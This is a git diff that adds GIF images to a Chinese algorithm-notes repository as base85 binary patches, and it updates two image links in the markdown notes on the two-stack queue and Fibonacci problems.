z!!IVaSl7TLDyiTek?7zYaNwTVDYMi}?1%Pl0eSTxvKPoD00|(JKo1SLef_;XC}uO@
z^X0?_1C#GoP;XtVA&OZC_=4;N5|0xmi`~x?;KJ%+EhPvq0_g-AfC2)SwC_I_5*F?*
z@n@2Eev@7<p<<?~rG@qj>u<r_WkFdJ6Jl##ITUS3qd07{*Lp$lWuaADM+bn!_JyZw
z<&wUkWlH4~Z~+bO$bmi^=%E206rg2vD368E;(1sd!`+mBai#j}^8dmW_$L_fC8MO^
zmqGujh6I${{Z97|n33k<I`^v=$9I=)-}H}O97`UG6?3YFh_MF7Jz(#Ep)kn9jQ;fN
zuRm%0+&jQiInmskdnao+U#ZxN>E;0ENU`Zn|MQ)iQo|)S)8hBW>{s+E9k(b_^t6`s
z-=n8DSC6)>CmIcKDVfdb3a7LDX(QqeE1r&|y{(Kc?K&`>>AK3`z<g`-vZ{b&i<Fun
ztWmQs#ZX>wwYU|Z<F;yzHoURaxTDBZCS|-|DVk2A2lLQ2)%$CAL$U}PA4;B%_e!}&
zd(xzs&EiDi$s^<C>+<-dUmCOJ6~50?abLYu<MZKz>rwoz0_WgsKVE)c-#f$7L?#`K
zGv?M;x(6qF&{j9(j)#<I!j<ppb;qIe=zZX|`(}@d{6>Iky&rXO@3=K%o;(vVRmnn<
zHD?+g#usyoeL6r$9B1-P?D+6-prq!Up}rJyaU}Q&wb{%=g{ul*-^K}<O@ylIvZv~6
zXdaBbV=xz^k63(h=KLEmpYYU3clXI=#4ils&r_Hry`rUL;Vi6&|B;MGBMBCe_x4RV
z4B)?#@e9dtJKKeSX)o@?w+@Cxpnj>LIc6y|tlgD?uWG#|X02+~<HEQ1n^~QFMQc;b
z-zpD>j@D`sxMcjbyEMw{^{u<v>$OA-%j=E%a`#r6sOE28Y=E0E<~KJzS`ny1kzUwr
z+gcm5Y2Xa4+2~*@zh~9n5YJOwA&6_S)h!0EF7CSW<M3Ih^pUt=$BjLw?KZ`&s*=`Q
z-wy3s)Rx7Cn(xj#?KJ94SCuyCe?5F&|8Puvx8dT=uFdY5aQ)>`vUHaXtmQP1Lz~_3
zs_>0mo1^Nz92YI;^7a?S-^+8{zrJ+Ld1aAPgcVr6Qc-XY6@o~KH2Gk925~QVg;-P+
z^+(?2a50^5MyyC^#Aa}*75Q6?{wG#gq0RpmE2X8SfF`FXIfV;w-hkBxa0AHF)zzhR
zTN984G>ZUJ09*)(h<Pqv1{Pd%-wY5Kz(4~P{*Sx)kC=};04r(ZJ4HU%<%5Sn_E1?_
z84iOfy4LG@<Vg};`8avd-B_Tgq6uP`&3)5X&63(C_q$S`c6Yaq&i7!ax4I^dI;IZ#
zrjH&c&okp8M<<qn9d~?u3<Qaon0VUo&rC;xDM@5fe#OAPuc@@a%UYmDhzQ(=7moE~
zzWAF<Ut(o|(Qtxoa{8tY2t{47-39ShN&q)IJ3Ez?mF!$RXU?1fYN{nx@5=Q%E+WMG
zv0nf>ySux&E?i`KQka0<>7O}v6(PdbgviLtd0%BCy5##xlcZpHZ*+PLXcz#{&XFZU
zVM6Tu=iD#5Srt|IB5pdq#jYmW{WbpBnH@%j&=)UW0P7Dh_g`2U|GM;lVFmsvR#=sc
zGMZI9e{D%)=*bIb|NE9S&TThvg7Htcq%rQMCb^#XYfGBjnvP`B=+iA}vchn@W2OJt
zl4hwX@kW&Sc-D4<dYtCZEon5*Yv!3&I(h5<u_X<D{H>ei%fl7GWFr<Y&wBv1s9$4J
zuCQtP;I@bq23yh?R?1Qy=^s}V&DQvx&wl?BY)MlXC1jBbA|7U##2XjSyHu50B!=9z
zHa-HqrpCg@L37U4<<?%AQE7h9nq`BD%yfR-Uz4b~BgQdNLB5%Wi!AAgvT$2v%nUj!
zqk3ZL=YIY*a;2s`+j^WSGvJH^!Upne=Gd}+dF!QBf*lDFn_Y?RxXU4R#RDrdZx%TU
z-bi;wcck1totwfFsirfJ?IvMPC5j6y52?6!u9M%VgHHN#F5O_kH5^&@R?`gLs7F^n
zkDPjA<&AfplF4zRiJoPkj>T1!hD+1WQqmTVuM{RF^K|hH*W<e^1O*5ZbN-EqV0C-N
z^Bz^BkCP*eb~RFsM&D%`E19r|&qdq39hiGy-D1XJrQ=<x8|JW!-xnLY0ZcYRsIFF=
z7dwGYyc4^3Mv^~$RwO1^lbb8dP}7_%@(uk?Mw+Y2285pC*T7X)mV^<3dD4l7UmYCr
zE8-DtL4TL*AS(%u_%q^Be*$K${&~dXKWnlfXf4<4f0=Bj5s!@~DlN;6W;&A`V6B}-
zJa{(S*di=9+d0#7HamFAS2jEOTY0v+1cxoRx<%)6wt6J@R<=G$;qq?x%F;gB?o;5%
z-TtXA1V7*~qNN}pM!z$tZSv+h3_@pMH=u3-V)S~KC!Y5igyss5;zxcj9k6JPdp>4D
z8CUk%QT^85$=Jhr-n}oTjiBLVh5Kc1!W?c@KH<l4e}BqXgs*H$<}2^PNEqRhgIQe@
z=Iy!I2z`gy0AD`wuW1e^qKhHvd3#II5uo9e-1?<zIUY`YxKjC}Mq;hNjZflR{qj}G
z^-@B&mrL)DjwQC5k6b0U+Zk$W7Q6S3C3pKIu3gz1yy@n$FuGN9<zU?6$Cbm$m)EY&
z&wg{hdb}7@d-eNj_K%a<jb+JeKXyXDeuqR}J6gT{^n0fcbjb!nDEcc#$tlfg*KNwG
z4K_LY6{EZ-MUrG7$izAEw-{yoy4gREQL_E}7^NR87um$`F-i?05YRZGzV*=PG0MTr
d&J?9?`1J8(D-COTGh>KE@n66H|A&A7{{w1lhC2WN

literal 0
HcmV?d00001

diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index 9aef0919..462e3c00 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -409,7 +409,8 @@ public TreeLinkNode GetNext(TreeLinkNode pNode) {
 
 in 栈用来处理入栈（push）操作，out 栈用来处理出栈（pop）操作。一个元素进入 in 栈之后，出栈的顺序被反转。当元素要出栈时，需要先进入 out 栈，此时元素出栈顺序再一次被反转，因此出栈顺序就和最开始入栈顺序是相同的，先进入的元素先退出，这就是队列的顺序。
 
-<div align="center"> <img src="pics/5acf7550-86c5-4c5b-b912-8ce70ef9c34e.png" width="400"/> </div><br>
+<div align="center"> <img src="pics/_u7528_u4E24_u4E2A_u6808_u5B9E_.gif" width="500"/> </div><br>
+
 
 ```java
 Stack<Integer> in = new Stack<Integer>();
@@ -445,7 +446,8 @@ public int pop() throws Exception {
 
 如果使用递归求解，会重复计算一些子问题。例如，计算 f(10) 需要计算 f(9) 和 f(8)，计算 f(9) 需要计算 f(8) 和 f(7)，可以看到 f(8) 被重复计算了。
 
-<div align="center"> <img src="pics/faecea49-9974-40db-9821-c8636137df61.jpg" width="300"/> </div><br>
+<div align="center"> <img src="pics/_u6590_u6CE2_u90A3_u5951_u6570_u5217.gif" width="400"/> </div><br>
+
 
 递归是将一个问题划分成多个子问题求解，动态规划也是如此，但是动态规划会把子问题的解缓存起来，从而避免重复求解子问题。
 
diff --git a/docs/pics/_u6590_u6CE2_u90A3_u5951_u6570_u5217.gif b/docs/pics/_u6590_u6CE2_u90A3_u5951_u6570_u5217.gif
new file mode 100644
index 0000000000000000000000000000000000000000..9d9809a08f0c49ff94552294aca69aa89a132f77
GIT binary patch
literal 13312
zcmeI2XH=8hy6*!CB$R{%5a|R6Rlv|B^w4{+(xeFp7Mc{Xgx)bA9aMUkE>$%2jx?o+
zN(ZF{RJwRsYwf-Ey8E27$GK<RGw%Ixp7BpI$7~tzhiAOM`Ja!5mO4h-VTgo^<NyHR
z<Upe@sa_G)ki!_NtC<^_UbD2n;c>?&ATTgABsd}_Hu^~>J~Q{(^JkTnWep8gt!=N`
zy5IIsexCUJb#`U@<Lc(8)vxcCzYQ%P^)H<aEuT!Tp3JWQO)Famd*8n8@9!TT9-f|_
z{`~p#?7uC3{rdGE?foAO{YU-h`~2S>`u};ifBmrkdi1~cT>pB{e?9sy{_%X_zh3)q
zC!Fub`HM<l&D2Ci$xuy91PvqsoTtPQ2;>YP1qhwD0l%dQ0CEP<pkURk&S?*Y&<Wb~
zRp)j_!nw7xHEZ&^V;RNW=lW{$dmkfJVpz3m3;Lh%o0Qq~*A@<@p`8Y@wd#t7voJni
z=lbi4-#*8NQnG2+myG3WJ`uDXs4tx;Hq6(4s{OL;UAbkQ`^SNo<x^GmoiS`W4HYwW
zZWCp;gAFe}G<q%#Jk@Ee{MZ`s?d!+E#;VV6a6l?{-KJ`X=Llw`C15cpiX05%ubzi1
zJA)7~k56-k%E9Ec3K%3l!yZHm2U+nGJb#2B^3_?>(ddv6AQTqji3fy4g~F%{u3)%G
zLDSh!(&Fs_VPqh(go`;s#P1L|m^#jzh|LWrVNgF4Lc&QwAx3lx)^G%CGhvrT2xKs?
zpd35}qD(L}#0H0w77Fm?SbT{GkN^%i;T#_Mnn)~!0X{#&4=qst2!TovKR`$|v7{t0
zR%A#ZTtbQxL>uRrh2>@(wT09_4ZwzyqeiFssVPy)zWJ7b4#)(Qf7yKEDgYP1zv7C6
zaKquxo?sNP0EpzsG!AH)kT=f{_ARz2p$jp@dM1koU}Js>V6pz-C<<i=6>ITFEDVbc
zA%VaN%W*3ES5rXXI5Z&;_KJc4qSVa6y1SN{^Mfek^4Lg6c#!RZP*s_M+sVR)IFe+^
z$d7)_yI0^IcgZ7hB((h6aMH64#3;@Ww!FIb!idMd9SDf>v=0T;LzExFh3xT_rrNXf
zw>ZM^+{%>85i|Tpdgx+oh0;6$d+W;RM{IdYF(BgpqWf)=3MO>Ev%C!0zJQB4%-z3&
zr^hOsA|8*cDbmIR(k5^D+hr9e<asF3K!{mnY|l1`#uXO~2_4bw7!qKHypC;)sbAW{
z8?q)oWddzZ1KV?`^AH#5FDp;s1gk4}97!|OLn(|l4F9=Pj^#Q5LPL$*B`GGEzmYev
zACOTC#!*<4!U#GUkkeq97}DWpYQP{wV$&JOs}Yb7qH;@H0Lj`32SY%*c#d)TUN%#Z
zxVAm6>v{CN&>5&%-t&M&L0xVXxc0N+=^$B!Kq;AFIeC^366<LPqHtCZDUOF`@!#xr
z__?z{&RD(G?wz(h@kpRdT{=Cf$j<fy-~Pdkf+Nvt;U<xWrqUq_RhD+(^CC<L$o{kb
zf>*=U1}x~!tuz9-=IEsM%j6oUV@Rd5O~99e6^kPs)~MR|Aq|cP_~Lr^ACT-`MYaPi
z&MaR(TDT+gjkF64xjjMdcJ1dcRi@y_kVWZWI1Y43YC$kvk^#t!3hRX6x>$*v2Xe#^
ze=P$7y}c0iJ)($6r^zD)P32ekoG^afTuO_+4u%$DI65wu+EufYd6pP~8OnwE_jR%#
z6C=;C)Oqko%`PtH-6&1nJleFrE?$}4Xv4TX`eMy)L95*u%b`4m#=dTmd%Lmr)cK6P
znmuBfyK!#1`OH&&Jy%+G<2~c@S=TgsWoCC10*3P05Bho)j&~p9s0)x_tv=-|W2CQi
za9kJr`_yIj67g{bC=O3<6-sqo000NL(%-LtZ|_MCbs@h-bHA=2fHoCG4FMo?p`P<8
z)p3PFu3CduvwNvkbA(`O&koc5Z~$-`3y#nla%BFN-ltn6mUcrIrU?MRu!Wa@I2J(A
z-!i9%c(2eQad!H2mtg=L`lZ&0w~Kf-!>Nlc<N3VwZ%>JGE+9ZP_U?H2)9tgkVujDr
zZ|}{Th#bxpWBX^`KAPpp0qXIKQ@M`@HJIeW^>|fSC`TjJzvp#j^Q$d{7~bN=r7*1%
zfH3q3%yJ&U$>Rc4=*Hc@l2f=kxvu_k-00?>ASq&+;BV|c4g}zeDHs7jW&j{vJ*s#%
z`HSw1@r1{oU?HBVIGGfVOI8pkt)k{L)w0qr6fqOlvvmQ2a<s_NLz%p72BXHulMea-
zfaMm>6(6Hl_3(nQgBdSbhd?m3Tuxcn{S~W7iiTw7{t^)GhVhp`i%ctttXskrqTmm~
zDa`u{N2&ypy$rq9D-A+{W-iw6R4oRq{L-mSZjw@Br^3bd>pUpVZi#)!1dt~C0Svo^
z-4`+q&g%U#o`t`#bdDYBtM#jGxp2c<-~-99cSB{>1ra+AkBR3olP%o^o9?h25=!T_
zTB?9;$<Rw5tKbLew_fmi2U^wY&Zef*!vR(oH{R~S(psjLv04W_pORotfOL4=BLkh$
z_1QF`HQS<(4+n=J-7g70<f{XBtw+ei8nZd~?zlpQ7OGJJ8LUk>X}+8Vs76z#%@JDt
zsNaD;D7<9R)=Rm6W3imIq)Uu}-)Q2hQ)LA$sdU0R3Hkgmdr%=DlG0nblSz*|^m+;a
z5TCTrOftY3)vNz$pjxbdMI`8G&>mKo-b=meb^WRk3J`n-LK0T5v>pw6Ce&rG>AGI2
z(#v#ZphE2rttp%wy~V-mbHKxEaxBNAQTp|H7l+r?Wsk@33H1ehdSA4ykH^zT>Wid?
zzvu@YPvpQ}mT2gGHO@MoEYW{iW-<KLy!H59b;8RESG^6Z56ADDMqXC>4{z9=98VEo
z4b_o)n~p3e(|!64wQ0kfF0v;xqX`Z5#d=%r)+e*mBMl9W!&|q5PCm@T8k>6cw!O1X
z=GOHaTc(D${aQ~x5)&F<t?BLD`*8B<aHR3|!SK$*latQ?nkE8RpBTb&Iu9{u>bN*U
zjF3HDfIn{P;?v)au|8d7eB0C`HL{x!bh?D3Y3^gw(BDhSI$h>BXdbW_*-LFbT|qx?
z9&*+HmZ>9({EZYyoX=l*LcRbfzy~l2h!h(ZJD2E?=pXuP`_ImQJ@j8#^4AST-iQbk
z3!suv9FI7d9GU2K=%K<;2or=1Mg{}}NkOEfz~2M{0?C0uFz8$$Fc}#+7z}|xC@3f>
zDXD%7YU*=QQ$wktP$&!rqoIK#5C~dYI(qsG3=9_;8JU=wSy<WFIgp%O+*~Lg9$r2^
z0YSk_!k2_aghkMo(V}QkF)?uo2}wyQDU6h~3`Ry)MpjN<US2^#0gF{sRyzM^s;ekz
zs9-g*s#+=vdMX$r6>)PF5o=ZcYpN(`RSq{bR(B<44-Hm#4GuR=&Kp|1H?)P^bj4lu
zWL)&I*9|qCjrE;OjUCNQ9nH<1EG(TZuR2||cC@l}u(GwYzGiEE&EDGny8U%`w_A5^
zdHeYIdj|x2-HY(NALIQX#{W_DLtGdxI4mSIEHo@UG&~|KA}TyGCNercDi$A`kQ9$k
zew>v0BsC*5GduHnadvLW^Mdlc;>x13s?v(;;)>dWiu#<2#*B)#<jU@Z>XC@*so<KA
zkLs2mHg4dWx5C@DBVO;syxB@5tY>sA7j(_l_KY|64!!E_d(+$9(c9V8*WN$ydT8*~
z*l@$-+xqw84O8!0r>5GbW;@=`^}hQwGCn^wvhb;YX{~E{w`2JmVR^r8>5#B|L|8s<
zUpekvIqq6H?pZnRUpXFHJsw*<nOr-WUOSojXB|(k9Z#?RUH?3KGPC{<{c&ph^yP5j
z>%rRAKJmA6+rjz4?da&}`1ttb_c%Yq{SoI!xqmm#Nf`(^C*^s9a@HBsKS;TW7+dgw
z{&!M#0>m=PpOdl}H<J#h&N(R?bN+>tsqa92qU-o{@d}}}Ai?@|%{=udw@-azi^u;)
z%I>CN`Y(*t%I<D-SDG6Xfi6j2`kj=YmQHNW=Gc6ujK4I+_pt?|xZoZ82Pv1UV$6v{
ztr6F_^j{?n6?Vj3J6qbQNiEV%7x(xy)LggrHb*qlTT0TDp53&f#BR9d<;GOC)1Z0$
zvIb9(q3i<2G%l;*Ga;0UL;qFN?$VoPv*Tb$V^0I>1Cv&l@Y5d~({&!7N7`BsHs8sd
z?Us-+Ejq?z=9&H)dEIuh^KKuKSG;@Lr5yVH&F8moexd~TCJ)|ehAvNi4u-f#QqYsQ
zfV4%DjZAYMQkeIB4uKleJE+rHtuH)e<bAggiF$Z3&xkv<Brk;8U6oNwppxH7hR@jf
zxvJ>?8pVaHT_FkRNK~l4Ojf#Rl;AtdgWgM8T$W3!QtHV|58Dd7286~6=(Ggq;6M$A
z!hjBP!FRi2n&K1+0!B=a+ue{MuhMrZCBJkDpf2kVU4>qDI!uSLmX8MJWFqv;$CI~r
z_qu8AggW$43A7YI@%Lok)N@o}r14LL^A24e&8<7CUmAt@2t3V-Yaha=dS5MOI(xXU
z;ih}iq!Nd2jM~%UvAsWgE!$_Gi|^?x`&`PWnalHKh3Nyc0&1g5C~XGJwEYXH{C8sL
zONYY&j_P&d(Ewg`8z0UPOIRo?Err}$s568ejw-g825r5Rr{0TfJP96*y|83uF^tYb
zi4T>2fq#oAA8}#46G+{*1cB{aWvR+W@d~;&u@o;2a+klCCKsyUnybda#lJu1KA43M
zC^9vID@)VO11r*EHJzSTlRV!<hS7cO2!%SbIsj<`=NZI<=FgaJ$h2xYY;keM+WcsR
z>C|&7b<rDdp);u+R1jN`dWoR-_`z6)LHwYe=xEc)T1~b~+c@gocu3Y6-@ALX<1;72
zW1D{W8*HU?bEscX$cu!B0GYmL4BrWHv3ttK9(tlX7E86_7y*rHTACEbRI9+}PrStS
z{Kq8%1Jr$A`aod!Aixat)41^CxX_MEMm8DqI5qweCXj)7>$ilL>Mr#Hcz)|?`)GM<
zI%fz6y`X_3xA`<QF_#1~0ft4?n><j;l1OaZXHRg@TxM>20)bthOWIS}!8r6CZ*nu<
zH({CSqAM7UUi4C>$1rvY*-X7TqX!}|IbkF`j<G_-c|;sbzv68Yau$>W1(G@!qM_MA
zn@J4g2jxQZ3<+_*P_T~Mi1rz0oZ<9eNjc)IImb>NH5Ph#vV&^RxZgSTAEca7l4zjY
zPLY{om&`?ncpJRUCK5P$)HDsBS+J*R;D#Lb^&xakV*{L=msC_m>vfzB6SxsQqXTJT
z$~PAu2GIA(BHe%|^3Ji&6{?@N*Ws$(W8{o-*S-OwHB|JSIlQO~c%>-P-MoxZ_URxV
z#T(C1N#5KEa)nA=B?Ac+HRq(vV|9wrzDkQqsqMNh#K$z~;0$_F+ZD{M=`<K^7~<F|
z<f1z5@K_J|Bpteo68beZ<az~_{E`|a`BXsH?bCR2?HsSz;QsJUZ|^J<IIlDiPHF4B
zmpxn%f?zdjut-v+vpd5m!}t5&K0N;R8~`oBf?Es(M}4?HB(Eu%jl;yy3-IjqFjYS7
zu^6lGd5ps)>O2E&d;mj_-Rw0Pwc1GG??ue~dZpSH1LLVJ-wV-Z0#f7%vO5d|?6z(p
znrg;WtU}en?2A40D9h)XH<fd_hap@&1jU?vFv6briId0S@dMVo#mrjIOj<*u`8D5h
zx)4C>XAWk9B@>)lP@H*V%hRj!pmZSThSA#=ydvuEi<`p<){<OPUd&-&b=-3+zBG%2
z&AZ%-1?AWzdteO=R2BYm#KEWbNd(F-*Nl)V%QH3Em)Yl!XkUF*Rys1YPoU@uyXnkl
zjqnsf)u?x#r7|U}TOI`DQCblZ_%KzJTpY;-867Y(J(+hjRV?cSufe_@9;#S&h0UzR
zIJLp_sm9F(`rH7Of}yaYDI*j;_DPiNkfEr@4|~S9WDGS!$bxH=4i{d}sL{+8#bcad
zsy$Dq7{kXxQ*AfmUjBq#CJ^{Fl*(k@xB-g-f`OlIE1P@@*WwSE{~V;nN%*u7v1Vx`
z_{71Hs_?KY{XJc=rLY0-ubjvjiy_B*1^$+Dbjc!<^JJHu9rRPgW}*eSq7++7>vTV)
zH$`;C3KP;;az{z~$J<4k+ah0*j}<D}$yGig6EcgCO)syfcCK7)OspIhjA&b`N+=X`
zrnF8yOV~Ym7ZLU@8=AZK7#_hVR;WU!Po#U>_i`!P^oOC-w*JICvEH`80W6uWTu0gK
zdL@>B^y5Or?DQ4Xtyja0bDnIh>+f5yOf5Ihj77|6$FV8wHcT+rs9mQ3-N=A;cu%*p
zmOejS@rc>$6*OksaMANHXk-|nCXuwxwSfy<RGqeN3$u_MAMqFILfEa>x;8pN`gY&V
zP;s&eFk-fL=<_Ku0sGWY5;7yt)(;;9dKh299~W<SdITA&a<Be{l;wAnPzzM$Bbtx9
zhw%@h^58aoA%7+1w=X004qG^T9&RaYw*N`WlN$QokDaWMOo}U6DFTU#b?2l^6H{hT
zsXf-iy5#WsNW=T#H<t~Y>k_}3M<dTHIp`iB1^BLyD`tRu*=>;`k6I>+NAMX2^3;u~
z$K%q?KlF}mzIqn6Om{0l@)g@QGF5|+S^7kC^#_}tiuZ)W5WdEaZChogvg|)ZdaD%W
zH@#?1-wq}mnCv}`kK}V=7c&Yler-#{KRTM*IO}gUkl(fGy6=4Y&^Ji^>{~7BbS048
zXIR{2H~!c1lG59IX8LDelQre1v}k-L_;~4kpUcdfF~R=^_+Wt0$~oW%{08`cQoPuZ
z=)aXZLD;57;C3PEel{{5&zci@u@J{l_JE=MK0|pBeOVx)Gyq=gPg~&4kb8$d=O%rc
zEBj+d{^)DsVYV_jYsDZdH4iIGOY7U}c9C+|lEodK3OeO;yHs#Em9aRKUa&5No90kx
zr$aQ7Au91;#Rzh#05SnvAe|^FIh+(o{yW=~{t-YR5Cj5|lao_IATTN_IvN-gJuQlr
zNtlOALRbhRAtjBGla<HHD=I5uRg_fJRW)?9^^A;6%&%J8UUzZv@VI&V&K)l=FCQNt
zU*EfT@A~=q2i^;M^x#nlE+i~CG(0RKGCC&qF+M3ZH90pUuKHPMW6s0ZdH$WnkGjgj
zx~db}>#|<e<u}xpRo7G(Rk!9=w`bS%XV(oDHuTlCb~eB6Y9n;KZto;?bar+3^!N9V
zyd4~$7@C-TJ3jetV(P=h%;Nam`q<p&=-l?`+|KAn;@GF%@y~nX^WR4o_D2@>hZhb8
z7Y_Ot4*M1ldlwG}7LSG&kKQgGjV~Qe{;v1Shwqn<rdE!oR*%nhPRD=f?~Hsrvvx4E
z_G4!4`^@Uz%<AsUDsg6YXJ+MGTfb|2X63x|e8SP+m;774{%`5|uzvg-hJV>#`ucrk
z<J;Qi-j~hYuUqFLZfp@Zw~1TZ#O<Bmv_sq_?w-f_Ez9@sKYr{V`~mEL$Mrv;{eS=d
zJHh|+@4t)l|F-iS@M(Sne0wEc>%G4KK4dH^#s3e$&sX{b@W;7ng?<P8+W9xB=T^8)
z#*Y5ee^}vCDs9<cL_g56OD6qkg^OHp<Xush_Kzr|zJQ8ikPGVg(+ZEc-iZP;_^`#>
z)My)1Ak>HU{<Ols6&9*#Fom-yRVL?$LWSG$+&U2zs#=(Y7&CW7h=1+c+oZ<thdpDu
ztS?Y67`;H}fdAUn7tbqWB)KuwWZnBrPd0CBjv&9YExhYbTndT2qZ-vz;I%yJFxYe7
zYvtSebcVoG`pnVSsk<^~r)ZMsnTvZv>ljh7MMEAJM_vAoHhJzOAzwASU##ujnJV?8
zh>#%PQ)~w_D`EZ_KU>M}GmjreVVVAoFV%x79;54`LF*3^J2(fUYDw-n;sIP?6A19w
z!=&gu61XV67lcix$@Li}GA3O;@b3M2WX!9v{kN<EzMb&cq%Xn26!%Q`$f)?nML`s<
zp7SB`L#DWAw*}nkHO!eZa#f(1LqHf@Tf#_<!Osjb8_uMTbFlOC1b`6Obk8WeYx7Oi
zX-dW@i-+*;#89XKVqw+Q^LDLsgvg?0KO6Um>nAF{5QYWSk4C<|G_vUMPTJ4S<i-3<
zLt4GC8>&ec8PC#RgD<5%za?l?OrMbmG_f%?Dhv1N=+|XatUnekdbFQ$<ArU6KyMh_
ztFF7!S<oz8T2q^M^Wr63lNP9ET+}ges4s&vr>lF+9BMMhX$6%Q;v6BFQRfw6)0$pi
ztQ1>6Do&`(lbw*7;O*{~z3fn<0#hF{zvKK!Y$>lMFg&l9>+uRtPYS|gR!GNNqGp56
zPr@HShXHvFV`+lS7i;g|@+Rpf_2`;YUiEYU!PGq+VD-wANczDytNX&k_v6RxdfCAP
zUu?*RNxCcbhl0^6I@7^cgU@ayLF{vdlCoYP?)vv2Fz^~O%qW9|gp!Rb7^QL0=G05C
zKqRQ1v0B`rZ=BQf`Tm$mYaZFf@Tp!8!4N~5z%~Q>s6<wxOBid^bU7T&SnAW`1Yw#5
z9hw-X(&dscigHRKYlMYe6$VeGu*eJ8>FO|+o%^K$8m`O8?ynWCJrQtq+!>xpdl|0E
zFuwe4JV)qfXE==lGO_E&v}@JR{W<@gp9fP^!J)M8FeplfRuQ9~74W?FxZ<2ABAo8~
z)SX{H57(-Got;iR4qt)Z=%n=v4>!c@aK8)gS7hiTkjoH*;c+=2zIAMbAvaa4aR}4H
z_i%AJ9W~^fCW|kwL~woq2b-~lSTw=ek?x^_&bid$i=ndBcOo#G5V**b#H{u%)-%8K
z(7#&Y;fGfqH{C%^1$4k}V*g@=t6ee<H_X<~(I&z{ocF_N{%VD*a<i!JrzW6C6orgJ
z5R8d6^UV?H2+@zK43OHM?_-Z2*@Rs8*2E9rge6uX;wM}Vr8G&&y=lgt-i>kTC-9KF
z3zj<b6^i%QMvF>jv#vO!zu@`&RFlglsV>PLw#Uu4vuJ2v7vdDxiRh~4oFtOat(w6t
zw|V521l|U2kCqE!CNd(U9v7}Mbj*^pLwUuE?0)BUP5NP9UPMk;4hKm;*cz?EG>?vy
zRqfOiZSG9JX%Biqp_&zVhIk(_suKHfT$x(=aBMK0mv!blz({gB4<3UD@u1r&OyM20
zO*#60pOl!J!Zc}nKvg{0C5~BNM4YoKw^bn@gnlDYI*T0Sxy;S6P(seWi3CffFHl?e
zg<L2Y1*x&;f)x&fX^NWExFnJ(404ni8qj2{{A6I+k`8)bCMKQ?B#nLu?F3hjS(_V0
z0GaR#3BMb{>lHn#SYfH2SJ?zV+JQnpMSDqClFw%={QL$ivlb$lVJEVj5SBErb8R-v
zkmtIETV7ckdbvb;H`*!ah_u!{6`_2485S|D^r~XDTrF_bv{WXotEW5ds(jQ{#}o=U
z?QEz3Bk@^G_*q<aSjt5i(D(YlnM>D$I@6imf?2F%U)VRidl41QX@0+E<2GMjf1GYR
z^&*ZzA%n9*dU-=BDV&K=($8k7t?4z<-4)8qfVR@jyUY@L)v^?*o}im{8Td1H2p?g!
ze|x;HQre1eoG0<4(x03Clt=9oOI_7Zo|{f5(?~Ko`-SbK<Tw=bLyr4eWN-0abVb$I
zPTk=gsVJYvlb-f+uCKNm{JBd^o<@-^$xP4q^Eif(T3S@3NkSGNr4JzX`Tpcz*+}kV
zVYT>XzOaB772N!B&!k4s;e42*e#3;?<YL_wLF<`*%P5siu2=X+)cb!};kv70ku$Y6
z`aWln1pu#P>k;Q@P+j)L#R2Ko<`M4ZP?o=1;ad@yWlJuS+x@cDL?Em0?zt82%iwQl
zKz=elPPeO$z<EZ<VHf{uh2sILEZL)>;@RopdhiZ*n3hwUy|Touglf4D*bS?Va0YEl
zQkq+-_>^oC2<QF}yLxz-ia2UyB%{36p%dsjag@wms*DiZ+z{U+%#zR4Xx9&KSp~7o
zk!g8r^~rBRAIT1H-j=#H0^PYa81!l96C_I%ni$Yn1Y_4M3e+VGxhjZf?&TW1)_X<!
zC^RAqKs(AwxIy&Nf2Gv);$4S$$XfWc1I1PT=SpX+BPG&Xb#iB?Yqu7hxL)tyT?*;A
zqI%{P&dMl4)yx|hD+b`^9x739Dg<ix7mmkO(XP^I`Cd;%^RlncgN<;Z(!S3McpQFc
zp_jhazNX|X&;boIHTTe@<^kE}0T2~_fBUe)x!KjbZ>09_IIlyM-3hs+db`2(pSz|t
z)EH{-XI2!wdQIDUr=7yZU&6$@I#k%O{gdwlP#LT2tnioa`W8+(RXI8Mjiv>nMz!>X
z6f~JgUpvd~`E^)`p;(#6CClW-Eo~p`xuN_lWaysUI?F8}l0TTT=%7c|PFqs|*-dV!
zIY(miW}4dTl1Z=Rjb{F;-47dQU@S2>|G^o}sWjyI;VmjN8c!+s>Y$(g`)*^uj0W2e
zimC^C7}A}(M<9`*1(r_#PnWlHfJjxK<SHLy5!#L!E1Hg`0HxT8Ncp3|kJOR(=3F0j
zNZq&RLs(anb*aKhFig8E7r&ADzdHbi2Ln-<dmkeo%}db^NO|MItj9kt{(Om}K7@k1
zMfM{@j*GciFihE4h<zPI3=@jQg<P11d)gZ;y$?AkV#@@(eo~{A<#+V$WfNONSi?d6
z?{8ZZfsImdwlsuSHSk__*u4diCi><`#~m66m{K*!z1ZQ_DA0@(;|@W@)qsLL@3<0y
zT854``!u%zf=XCWm}OK%K-5`OdQ?nPRGcPAWz<c_5PDaW{udJJf+r(Si_UC{&Yq5b
z))Z}CO=iVQo83rj=i*Y59#e*Kc@h<5;O6SHA6}iVqK(t2b93$Vk8NS3`-BF26JrUC
zaUGbrF3Y%{fVem59(UBCdiVg;VcaNV{5U3l(lY-2VVu&uJLwou+LK&^7ojm7L+u5=
zUQc!p09j8@_}Y}PIi0Y5m_Uq5C@%s|c>@%%yqV!-FPGsOI9j1ZkOlzKrtVY^r?9RD
zy5MP4++erSWLMIFy7uIsqp(%v5fQ2p^*NfItJhcOMfy9@#~9993?e}_B9K#yDv@S~
zfPeM`s0dHwDn9e2cTAdfZ~!h`-<eOGa|0doYaTDyUs|;g>`zkLPjW$eb1T{7yBtV^
zpU6-oogBig2~hIf<fyJ>P%wNEn=H}~a>XT62b0Mlq1~WlW49+4NF*`QU~6Kc8a#<A
z_mUzGY~_&hFf7F`>Xyn3UX48Qnif14&8vtDn;`Qf^=Dsc*VRChlBRf81*ef3#oE`W
z-YUH+ZBNEA2_%jKIV5c1YkHts5>yVkji>dBvu}A=DotW6ye1764a|ILrBwsGg{PUg
z%jxLjy*ehGf}^lX;$&ObQcj{-C8SQ~(aYGAKYhnsGVY_;h-ATv7QxYKy|#i}FdBYA
zjkBDvXNh3*G&7_!m;+DFN(7>@;x>&ov<u{#nuw!n5Nis(ej0s{g|}CppfVD40|&Mv
z`ZcfcePu%Yv`pkcSV$Vm8{0oJwNHIG#{aNUkQa9`9e1~%E8s^8quDy#8Via9f@kbu
z^oKNqOo30*ILnnq9dI`3eA%pNxzOAsddn2**^70Od`~n)=v%V9dv(gbz{R4q?;Kw2
